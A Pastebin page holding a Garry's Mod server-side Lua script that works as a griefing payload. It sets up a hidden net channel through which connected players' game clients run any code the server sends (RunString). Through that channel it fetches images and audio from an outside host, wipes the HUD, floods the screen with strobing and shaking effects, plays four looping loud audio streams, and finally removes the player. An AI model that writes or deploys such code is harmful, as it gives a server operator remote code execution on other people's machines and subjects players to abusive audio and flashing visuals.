API tools faq
paste
Advertisement
Lenngotmelol

aaeaerta

Lenngotmelol
Jan 1st, 2019
279
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 11.00 KB | None | 0 0
raw download clone embed print report
  1. util.AddNetworkString "slua"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5.     local ret = ""
  6.     for _ = 1, math.random( intMin, intMax ) do
  7.         ret = ret.. string.char( math.random(65, 90) )
  8.     end
  9.  
  10.     return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18.     self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22.     pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23.     if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25.     timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26.         if not IsValid( pPlayer ) then return end
  27.         self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28.         self:NextAction( pPlayer )
  29.     end )
  30. end
  31.  
  32. function lol:Start( pPlayer )
  33.     pPlayer.m_intCurAction = 0
  34.     self:NextAction( pPlayer )
  35. end
  36.  
  37. function lol:SendLua( pPlayer, strLua )
  38.     net.Start( "slua" )
  39.         net.WriteString( strLua )
  40.     net.Send( pPlayer )
  41. end
  42.  
  43. function lol:SetupPlayer( pPlayer )
  44.     pPlayer:SendLua( "net.Receive(\"slua\", function() RunString(net.ReadString()) end)" )
  45. end
  46.  
  47. for k, v in pairs( player.GetAll() ) do
  48.     lol:SetupPlayer( v )
  49.     timer.Simple( 2, function() lol:Start( v ) end )
  50. end
  51.  
  52. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  53.     lol:SetupPlayer( pPlayer )
  54.     timer.Simple( 10, function() lol:Start( pPlayer ) end )
  55. end )
  56.  
  57. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  58.     if strText:sub( 1, 5 ) == "/1337" then
  59.         pSender:Ignite( 1e9 )
  60.         pSender:ChatPrint( "lol jk" )
  61.         pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  62.         return false
  63.     end
  64. end )
  65.  
  66.  
  67.  
  68. --Sequence stack
  69. --Start some tunes and steam in our assets
  70. lol:PushAction( 0, function( pPlayer )
  71.     lol:SendLua( pPlayer, ([=[
  72.         sound.PlayURL( "http://www.underdone.org/leak/underdone/blue.mp3", "", function()end )
  73.        
  74.         g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  75.         local html = [[%s]]
  76.         local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  77.             local pnl = vgui.Create( "HTML" )
  78.             pnl:SetPos( ScrW() -1, ScrH() -1 )
  79.             pnl:SetVisible( true )
  80.             pnl:SetMouseInputEnabled( false )
  81.             pnl:SetKeyBoardInputEnabled( false )
  82.             pnl:SetSize( intSizeX, intSizeY )
  83.             pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  84.            
  85.             local PageLoaded
  86.             PageLoaded = function()
  87.                 local mat = pnl:GetHTMLMaterial()
  88.                 if mat then
  89.                     g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  90.                     return
  91.                 end
  92.                
  93.                 timer.Simple( 0.5, PageLoaded )
  94.             end
  95.  
  96.             PageLoaded()
  97.         end
  98.  
  99.         LoadWebMaterial( "http://www.underdone.org/leak/underdone/hud.png", "hud1", 300, 128 )
  100.         LoadWebMaterial( "http://www.underdone.org/leak/underdone/hud2.png", "hud2", 300, 128 )
  101.         LoadWebMaterial( "http://www.underdone.org/leak/underdone/hud3.png", "hud3", 128, 128 )
  102.         LoadWebMaterial( "http://www.underdone.org/leak/underdone/xhair.png", "xhair", 64, 64 )
  103.         LoadWebMaterial( "http://www.underdone.org/leak/underdone/doritos.png", "doritos", 183, 256 )
  104.         LoadWebMaterial( "http://www.underdone.org/leak/underdone/fedora.png", "fedora", 256, 256 )
  105.         LoadWebMaterial( "http://www.underdone.org/leak/underdone/dew.png", "dew", 110, 256 )
  106.         LoadWebMaterial( "http://www.underdone.org/leak/underdone/awp.png", "awp", 256, 55 )
  107.     ]=]):format(lol.m_strImageLoadHTML) )
  108. end )
  109.  
  110. --HUD swap
  111. lol:PushAction( 31, function( pPlayer )
  112.     lol:SendLua( pPlayer, [[
  113.         (GAMEMODE or GM).CalcView = function() end
  114.         (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  115.  
  116.         local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  117.         for k, v in pairs(remove) do
  118.             hook.GetTable()[v] = {}
  119.         end
  120.  
  121.         local function GetWebMat( strURL )
  122.             return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  123.         end
  124.  
  125.         hook.Add( "HUDPaint", "newhud", function()
  126.             surface.SetDrawColor( 255, 255, 255, 255 )
  127.  
  128.             if GetWebMat( "hud1" ) then
  129.                 surface.SetMaterial( GetWebMat("hud1")[1] )
  130.                 surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  131.             end
  132.             if GetWebMat( "hud2" ) then
  133.                 surface.SetMaterial( GetWebMat("hud2")[1] )
  134.                 surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
  135.             end
  136.             if GetWebMat( "hud3" ) then
  137.                 surface.SetMaterial( GetWebMat("hud3")[1] )
  138.                 surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
  139.             end
  140.             if GetWebMat( "xhair" ) then
  141.                 surface.SetMaterial( GetWebMat("xhair")[1] )
  142.                 surface.DrawTexturedRect( (ScrW() /2) -32, (ScrH() /2) -32, 64, 64 )
  143.             end
  144.  
  145.             if GetWebMat( "doritos" ) then
  146.                 surface.SetMaterial( GetWebMat("doritos")[1] )
  147.                 surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
  148.             end
  149.             if GetWebMat( "dew" ) then
  150.                 surface.SetMaterial( GetWebMat("dew")[1] )
  151.                 surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
  152.             end
  153.             if GetWebMat( "fedora" ) then
  154.                 surface.SetMaterial( GetWebMat("fedora")[1] )
  155.                 surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
  156.             end
  157.             if GetWebMat( "awp" ) then
  158.                 surface.SetMaterial( GetWebMat("awp")[1] )
  159.                 surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
  160.             end
  161.  
  162.             draw.SimpleTextOutlined(
  163.                 "===> THE MEMES ARE HERE <===",
  164.                 "DermaLarge",
  165.                 ScrW() /2 +math.random( -8, 8 ),
  166.                 ScrH() /2 +math.random( -8, 8 ) +64,
  167.                 Color( 255, 0, 0, 255 ),
  168.                 TEXT_ALIGN_CENTER,
  169.                 TEXT_ALIGN_CENTER,
  170.                 1,
  171.                 Color( 0, 0, 255, 255 )
  172.             )
  173.         end )
  174.  
  175.         local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  176.         hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  177.  
  178.         surface.PlaySound( "garrysmod/save_load4.wav" )
  179.         surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  180.     ]] )
  181. end )
  182.  
  183. --Disco time
  184. lol:PushAction( 10, function( pPlayer )
  185.     local idx = pPlayer:EntIndex()
  186.     timer.Create( "beat".. idx, 0.42, 0, function()
  187.         if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  188.         pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  189.     end )
  190.  
  191.  
  192.     lol:SendLua( pPlayer, [[
  193.         local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  194.         local time = 0
  195.  
  196.         hook.Add( "Think", "wat", function()
  197.             if CurTime() < time then
  198.                 return
  199.             end
  200.  
  201.             time = CurTime() +0.05
  202.             for i = 1, 16 do
  203.                 local part = emitter:Add(
  204.                     "particles/balloon_bit",
  205.                     LocalPlayer():GetPos() +Vector(
  206.                         math.random( -256, 256 ),
  207.                         math.random( -256, 256 ),
  208.                         256
  209.                     )
  210.                 )
  211.                
  212.                 if part then
  213.                     local Size = math.random( 4, 7 )
  214.                    
  215.                     part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  216.                     part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  217.                     part:SetDieTime( 4.5 )
  218.                     part:SetGravity( Vector(40, 0, -250) )
  219.                     part:SetLifeTime( 0 )
  220.                     part:SetStartSize( Size /2 )
  221.                     part:SetEndSize( Size )
  222.                     part:SetCollide( true )
  223.                 end
  224.             end
  225.         end )
  226.     ]] )
  227.  
  228.     lol:SendLua( pPlayer, [[
  229.         hook.Add( "RenderScreenspaceEffects", "wat", function()
  230.             local sinScaler = math.sin( CurTime() )
  231.             DrawBloom(
  232.                 0,
  233.                 3,
  234.                 sinScaler *math.Rand(1, 8),
  235.                 sinScaler *math.Rand(1, 8),
  236.                 6,
  237.                 math.Rand(0.5, 2),
  238.                 math.Rand(0, 0.3),
  239.                 math.Rand(0, 0.3),
  240.                 math.Rand(0.5, 1)
  241.             )
  242.  
  243.             DrawColorModify{
  244.                 ["$pp_colour_addr"] = 0,
  245.                 ["$pp_colour_addg"] = 0,
  246.                 ["$pp_colour_addb"] = 00,
  247.                 ["$pp_colour_brightness" ] = 0,
  248.                 ["$pp_colour_contrast" ] = 1,
  249.                 ["$pp_colour_colour" ] = 1,
  250.                 ["$pp_colour_mulr" ] = 0,
  251.                 ["$pp_colour_mulg" ] = 0,
  252.                 ["$pp_colour_mulb" ] = 1
  253.             }
  254.         end )
  255.  
  256.         local mdl = ClientsideModel( "models/player/skeleton.mdl", RENDERGROUP_BOTH )
  257.         mdl:SetNoDraw( true )
  258.         local posCache, time = {}, 0
  259.  
  260.         hook.Add( "HUDPaint", "dance", function()
  261.             if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  262.                 local idx = mdl:LookupSequence("taunt_dance")
  263.                 mdl.SeqDuration = mdl:SequenceDuration( idx )
  264.                 mdl.SeqStart = CurTime()
  265.                 mdl:ResetSequence( idx )
  266.             end
  267.  
  268.             mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  269.  
  270.            
  271.             local w, h = 300, 300
  272.             local ang = Angle( 0, 0, 0 )
  273.  
  274.             for i = 1, 32 do
  275.                 if CurTime() > time then
  276.                     posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  277.                 end
  278.                 local x, y = posCache[i][1], posCache[i][2]
  279.  
  280.                 cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  281.                     cam.IgnoreZ( true )
  282.                     render.SuppressEngineLighting( true )
  283.                    
  284.                     render.SetLightingOrigin( mdl:GetPos() )
  285.                     render.ResetModelLighting( 1, 1, 1 )
  286.                     render.SetColorModulation( 0, 0, 1 )
  287.  
  288.                     mdl:DrawModel()
  289.                    
  290.                     render.SuppressEngineLighting( false )
  291.                     cam.IgnoreZ( false )
  292.                 cam.End3D()
  293.             end
  294.  
  295.             if CurTime() > time then
  296.                 time = CurTime() +0.15
  297.             end
  298.         end )
  299.  
  300.         surface.PlaySound( "vo/npc/male01/ohno.wav" )
  301.     ]] )
  302. end )
  303.  
  304. --Let the beat drop
  305. lol:PushAction( 54, function( pPlayer )
  306.     lol:SendLua( pPlayer, [[
  307.         hook.Add( "GetMotionBlurValues", "wat", function()
  308.             return 0, 0, 1, math.sin(CurTime() *13)
  309.         end )
  310.  
  311.         hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  312.             local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  313.             DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  314.             DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  315.         end )
  316.  
  317.         hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  318.             render.SetMaterial( Material("cable/blue_elec") )
  319.             for i = 1, 32 do
  320.                 render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  321.             end
  322.         end )
  323.  
  324.         timer.Create( "thedrop", 0.42, 0, function()
  325.             util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  326.         end )
  327.     ]] )
  328. end )
  329.  
  330. --EVIL TIME rip headpones
  331. lol:PushAction( 175, function( pPlayer )
  332.     lol:SendLua( pPlayer, [[
  333.         surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  334.  
  335.         local sounds = {}
  336.         for i = 1, 4 do
  337.             sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan )
  338.                 sounds[#sounds +1] = pChan
  339.             end )
  340.         end
  341.  
  342.         timer.Create( "asdf", 1, 0, function()
  343.             if #sounds ~= 4 then return end
  344.             timer.Destroy( "asdf" )
  345.             for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  346.         end )
  347.  
  348.         hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  349.     ]] )
  350.  
  351.     pPlayer:Remove()
  352. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!